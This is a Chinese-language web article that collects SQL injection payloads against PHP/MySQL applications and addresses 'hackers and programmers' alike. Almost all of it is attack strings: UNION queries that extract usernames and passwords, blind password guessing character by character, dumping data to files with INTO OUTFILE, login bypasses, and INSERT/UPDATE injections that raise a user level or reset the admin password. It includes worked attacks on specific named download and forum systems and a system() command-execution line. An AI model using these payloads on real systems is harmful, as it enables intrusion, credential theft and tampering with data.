高级php注入方法集锦_php技巧

不论是黑友，还是程序员，都需要了解

'%23  
' and passWord='mypass  
id=-1 union select 1,1,1  
id=-1 union select char(97),char(97),char(97)  
id=1 union select 1,1,1 from members  
id=1 union select 1,1,1 from admin  
id=1 union select 1,1,1 from user  
userid=1 and password=mypass  
userid=1 and mid(password,3,1)=char(112)  
userid=1 and mid(password,4,1)=char(97)  
and ord(mid(password,3,1))>111 （ord函数很好用，可以返回整形的）  
' and LENGTH(password)='6（探测密码长度）  
' and LEFT(password,1)='m  
' and LEFT(password,2)='my  
…………………………依次类推  
' union select 1,username,password from user/*  
' union select 1,username,password from user/*  
=' union select 1,username,password from user/* （可以是1或者=后直接跟）  
99999' union select 1,username,password from user/*  
' into outfile 'c:/file.txt （导出文件）  
=' or 1=1 into outfile 'c:/file.txt  
1' union select 1,username,password from user into outfile 'c:/user.txt  
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'  
id=' union select 1,username,password from user into outfile  
id=-1 union select 1,database(),version() （灵活应用查询）

常用查询测试语句，

select * FROM table where 1=1  
select * FROM table where 'uuu'='uuu'  
select * FROM table where 1<>2  
select * FROM table where 3>2  
select * FROM table where 2<3  
select * FROM table where 1  
select * FROM table where 1+1  
select * FROM table where 1--1  
select * FROM table where ISNULL(NULL)  
select * FROM table where ISNULL(COT(0))  
select * FROM table where 1 IS NOT NULL  
select * FROM table where NULL IS NULL  
select * FROM table where 2 BETWEEN 1 AND 3  
select * FROM table where 'b' BETWEEN 'a' AND 'c'  
select * FROM table where 2 IN (0,1,2)  
select * FROM table where CASE WHEN 1>0 THEN 1 END

例如：夜猫下载系统1.0版本

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1  
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and groupid=1  
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 （替换，寻找密码）  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and ord(mid(password,1,1))=49 （验证第一位密码）  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and ord(mid(password,2,1))=50 （第二位）  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and ord(mid(password,3,1))=51  
…………………………………………………………

例如2：灰色轨迹 变换id进行测试（meteor）

union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),
version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate  
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),
version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

构造语句：

select allowsmilies,public,userid,eventdate,event,subject 
FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)  
select allowsmilies,public,userid,eventdate,event,subject 
FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)  
union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate  
union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate  
union %20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username ='sandflee')%20order%20by%20eventdate （查沙子的id）  
（select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)  
select * FROM article where articleid='$id' union select * FROM……（字段和数据库相同情况下，可直接提交）  
select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……（不同的情况下）

特殊技巧：在表单，搜索引擎等地方写：

"___"  
".__ "  
"%  
%' ORDER BY articleid/*  
%' ORDER BY articleid#  
__' ORDER BY articleid/*  
__' ORDER BY articleid#  
$command = "dir c:\";system($command);  
select * FROM article where articleid='$id'  
select * FROM article where articleid=$id  
1' and 1=2 union select * from user where userid=1/* 句中变为  
(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')  
1 and 1=2 union select * from user where userid=1

语句形式：建立一个库，插入：

create DATABASE `injection`  
create TABLE `user` (  
`userid` int(11) NOT NULL auto_increment,  
`username` varchar(20) NOT NULL default '',  
`password` varchar(20) NOT NULL default '',  
PRIMARY KEY (`userid`)  
) ;  
insert INTO `user` VALUES (1, 'swap', 'mypass');

插如一个注册用户：

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');  
"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";  
insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')  
"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";  
insert INTO membres SET login='',password='',nom='',userlevel='3',email=''  
"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";  
update user SET password='$password', homepage='$homepage' where id='$id'  
update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'  
"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'";  
update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]'  
"update news SET Votes=Votes+1, score=score+$note where idnews='$id'";

长用函数：

DATABASE()  
USER()  
SYSTEM_USER()  
SESSION_USER()  
CURRENT_USER()

比如：

update article SET title=$title where articleid=1 对应函数  
update article SET title=DATABASE() where id=1  
#把当前数据库名更新到title字段  
update article SET title=USER() where id=1  
#把当前 mysql 用户名更新到title字段  
update article SET title=SYSTEM_USER() where id=1  
#把当前 MySQL 用户名更新到title字段  
update article SET title=SESSION_USER() where id=1  
#把当前 MySQL 用户名更新到title字段  
update article SET title=CURRENT_USER() where id=1  
#把当前会话被验证匹配的用户名更新到title字段  
：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：  
$req = "select * FROM membres where name like '%$search%' ORDER BY name";  
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name  
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name  
select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' （经典）  
select uid FROM admins where login='' OR admin_level=1#' AND password=''  
select * FROM table where msg like '%hop'  
select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''  
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

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